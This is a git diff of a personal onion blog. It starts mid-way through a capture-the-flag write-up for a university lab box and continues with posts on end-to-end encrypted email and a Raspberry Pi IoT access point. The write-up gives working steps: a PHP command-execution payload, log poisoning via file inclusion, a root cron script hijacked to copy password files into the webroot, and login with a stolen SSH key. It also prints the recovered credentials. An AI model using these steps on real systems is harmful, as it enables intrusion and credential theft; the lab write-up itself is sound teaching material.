    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/privesc/page/1/index.html b/public-onion/tags/privesc/page/1/index.html new file mode 100644 index 0000000..abbdd80 --- /dev/null +++ b/public-onion/tags/privesc/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privesc/ + + + + + + diff --git a/public-onion/tags/proton/index.html b/public-onion/tags/proton/index.html new file mode 100644 index 0000000..45badc4 --- /dev/null +++ b/public-onion/tags/proton/index.html @@ -0,0 +1,352 @@ + + + + + + + +Proton | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/proton/index.xml b/public-onion/tags/proton/index.xml new file mode 100644 index 0000000..4b17ef4 --- /dev/null +++ b/public-onion/tags/proton/index.xml @@ -0,0 +1,177 @@ + + + + Proton on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/proton/ + Recent content in Proton on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/proton/page/1/index.html b/public-onion/tags/proton/page/1/index.html new file mode 100644 index 0000000..ddfcd0d --- /dev/null +++ b/public-onion/tags/proton/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/proton/ + + + + + + diff --git a/public-onion/tags/raspberry-pi/index.html b/public-onion/tags/raspberry-pi/index.html new file mode 100644 index 0000000..7d0e541 --- /dev/null +++ b/public-onion/tags/raspberry-pi/index.html @@ -0,0 +1,353 @@ + + + + + + + +Raspberry Pi | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/raspberry-pi/index.xml b/public-onion/tags/raspberry-pi/index.xml new file mode 100644 index 0000000..053f350 --- /dev/null +++ b/public-onion/tags/raspberry-pi/index.xml @@ -0,0 +1,612 @@ + + + + Raspberry Pi on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberry-pi/ + Recent content in Raspberry Pi on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 23 Nov 2025 00:00:00 +0000 + + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

